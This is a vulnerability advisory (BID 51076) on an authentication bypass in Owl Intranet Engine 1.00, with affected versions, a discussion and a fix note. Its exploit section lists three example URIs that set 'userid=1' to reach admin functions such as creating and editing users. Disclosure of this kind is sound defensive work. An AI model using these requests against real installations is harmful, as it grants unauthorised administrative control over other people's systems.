Owl Intranet Engine 'userid' Parameter Authentication Bypass Vulnerability

BID:51076

Info

Owl Intranet Engine 'userid' Parameter Authentication Bypass Vulnerability

Bugtraq ID: 51076
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 15 2011 12:00AM
Updated: Dec 15 2011 12:00AM
Credit: RedTeam Pentesting GmbH
Vulnerable: Owl Intranet Engine Owl Intranet Engine 1.00
Not Vulnerable: Owl Intranet Engine Owl Intranet Engine 1.01

Discussion

Owl Intranet Engine 'userid' Parameter Authentication Bypass Vulnerability

Owl Intranet Engine is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication process and gain administrative access to the application.

Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable.

Exploit / POC

Owl Intranet Engine 'userid' Parameter Authentication Bypass Vulnerability

An attacker can use readily available tools to exploit this issue.

The following example URIs are available:

http://www.example.org/owl/admin/index.php?userid=1
http://www.example.org/owl/admin/index.php?userid=1&newuser
http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1

Solution / Fix

Owl Intranet Engine 'userid' Parameter Authentication Bypass Vulnerability

Solution:
Reportedly, the vendor has fixed the issue but Symantec has not confirmed it. Please contact the vendor for more information.

References

Owl Intranet Engine 'userid' Parameter Authentication Bypass Vulnerability

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